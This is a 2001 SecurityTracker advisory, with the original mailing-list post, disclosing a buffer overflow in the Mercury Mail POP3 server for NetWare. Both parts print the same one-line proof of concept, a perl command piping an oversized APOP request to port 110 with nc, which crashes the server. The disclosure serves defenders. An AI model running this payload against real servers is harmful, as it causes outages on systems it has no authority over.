Mercury Mail Transport System POP3 Server for Netware Allows Remote Users to Crash the Server
|
|
SecurityTracker Alert ID: 1001395 |
|
SecurityTracker URL: http://securitytracker.com/id/1001395
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Apr 22 2001
|
Impact:
Denial of service via network, Execution of arbitrary code via network
|
Exploit Included: Yes
|
|
Description:
It is reported that the Mercury Mail Transport System POP3 server for Netware contains a vulnerability that allows remote users to crash the server.
The report indicates that all versions contain a buffer overflow allowing remote users to crash the Netware server.
The following is a demonstration exploit that should trigger this vulnerability:
perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc host 110
The author reports that it may be possible for remote users to execute arbitrary code on the server.
|
Impact:
A remote user can cause the Netware server to crash.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.pmail.com/ (Links to External Site)
|
Cause:
Boundary error
|
Underlying OS:
|
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: Sat, 21 Apr 2001 10:52:15 +0200
Subject: Mercury for NetWare POP3 server vulnerable to remote buffer
|
Hello,
All versions of widely-used POP3 server from Mercury MTA package for Netware
are vulnerable to remote buffer overflow allowing to crash Netware server:
perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc host 110
Remote execution of malicious code is also theoretically possible.
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
|
|
